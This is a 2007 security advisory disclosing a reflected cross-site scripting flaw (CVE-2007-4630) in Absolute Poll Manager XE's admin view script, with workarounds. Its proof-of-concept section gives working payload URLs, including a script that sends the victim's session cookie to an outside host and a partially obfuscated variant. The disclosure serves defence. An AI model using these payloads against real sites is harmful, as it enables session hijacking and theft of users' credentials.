Vulnerabilities 2007

PR07-23 Non-persistent Cross-site Scripting (XSS) on Absolute Poll Manager XE admin page

• Advisory publicly released: Wednesday, 29 August 2007
• Vulnerability found: Tuesday, 10 April 2007
• Vendor informed: Wednesday, 4 July 2007
• Severity level: Medium/High

• Credits
  Richard Brain and Adrian Pastor of ProCheckUp Ltd
• Description
  Absolute Poll Manager XE is vulnerable to a vanilla XSS within the "/AbsolutePollManager/xlaapmview.asp" server-side script and "msg" parameter.
  No authentication is required to exploit this vulnerability
• Proof of concept
  
• How to fix
  The yet-to-be released .NET version of Absolute Poll Manager XE will fix this issue.
  For the moment, any of the following workarounds can be applied in order to fix the XSS issue:
  1. Password protect the Absolute Poll Manager admin console directory ('/absolutepm/')
  
  2. Restrict access to Absolute Poll Manager admin console directory from trusted IP addresses only
  ProCheckUp thanks Xigla Software for working with us.
• XSS Proof of concept (PoC) URLs
  Alert box injection -
  
  http://target-domain.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<script>alert
  
  ("running+code+within+the+context+of+"%2bdocument.domain)</script>
  
  Cookie theft (could be used in session hijacking attacks) -
  
  http://target-domain.com/AbsolutePollManager/xlaapmview.asp?
  
  p=1&msg=<script>location="http://procheckup.com/?"%2bdocument.cookie</script>
  
  or partially obfuscated -
  
  http://target-domain.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=%3cscript%
  
  3elocation=%22http%3a//proch%65ckup%2ecom/?%22%2bdocument.cookie%3c/script%
  
  3e&
• Consequences
  An attacker may be able to cause execution of malicious scripting code in the browser of a
  polls management user who clicks on a link to a site managed by Absolute Poll Manager. Such
  code would run within the context of the target domain.
  This type of attack can result in non-persistent defacement of the target site, or the redirection
  of confidential information (i.e.: session IDs) to unauthorised third parties.
• Product URL
  http://www.xigla.com/absolutepm/
• Vendor URL
  http://www.xigla.com/
• CVE reference
  CVE-2007-4630
• Successfully tested on
  Web server environment:
  
  Microsoft IIS 5.0
  
  Absolute Poll Manager XE - Version 4.1
• References
  
  
• Legal
  Copyright 2007 Procheckup Ltd. All rights reserved.
  Permission is granted for copying and circulating this Bulletin to the Internet community
  for the purpose of alerting them to problems, if and only if, the Bulletin is not edited
  or changed in any way, is attributed to Procheckup, and provided such reproduction and/or
  distribution is performed for non-commercial purposes.
  Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.